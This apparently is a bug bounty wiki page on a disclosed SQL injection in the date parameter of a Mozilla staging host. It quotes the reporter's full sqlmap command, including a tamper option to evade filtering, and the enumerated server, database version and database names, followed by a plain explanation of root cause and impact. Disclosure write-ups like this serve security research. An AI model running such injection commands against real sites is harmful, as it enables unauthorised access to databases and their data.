SQL injection vulnerability on alertmanager.allizom.org
The date parameter on a web page was vulnerable to SQL injection, allowing an attacker to run database queries. The reporter used an automated tool to confirm the flaw and retrieve database names, though they stopped before extracting further data.
Originally disclosed on Mozilla
- Fixed in 17 hours
- Paid in 18 hours
- Disclosed after 17 hours
User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Steps to reproduce:
Hello, The URL alertmanager.allizom.org/data/setadetails/?date= is vulnerable to SQLI via the date parameter. To validate this I issued the following command to SQLMAP:
C:\Users\Griffin\Desktop\sqlmap>sqlmap.py -u "alertmanager.allizom.org/data/seta/details/?date=" --random-agent --tamper=space2comment --schema --threads=10
The following schema was returned (I did not proceed from here)
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7
back-end DBMS: MySQL 5.0.11
[16:17:29] [INFO] enumerating database management system schema
[16:17:29] [INFO] fetching database names
[16:17:29] [INFO] fetching number of databases
[16:17:29] [INFO] resumed: 8
[16:17:29] [INFO] resumed: information_schema
[16:17:29] [INFO] resumed: alertbot
[16:17:29] [INFO] resumed: alerts
[16:17:29] [INFO] resumed: mysql
[16:17:29] [INFO] resumed: ouija
[16:17:29] [INFO] resumed: ouijatest
[16:17:29] [INFO] resumed: performance_schema
[16:17:29] [INFO] resumed: test
Actual results:
The date parameter does not properly sanitize against malicious input.
Expected results:
The above information should not have been returned back within the SQLMAP response.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application built SQL queries by directly concatenating the date parameter without sanitisation or parameterised queries.
Impact
An attacker could extract database schema information and potentially read or modify data, though the reporter did not proceed beyond listing database names.
What the attacker needed
None
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is a flaw where user input is inserted into a database command without proper cleaning, letting an attacker change the command. Here, the date value in the web address was not checked, so a tool could ask the database to list its own names. This could let someone read or change data they should not see.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.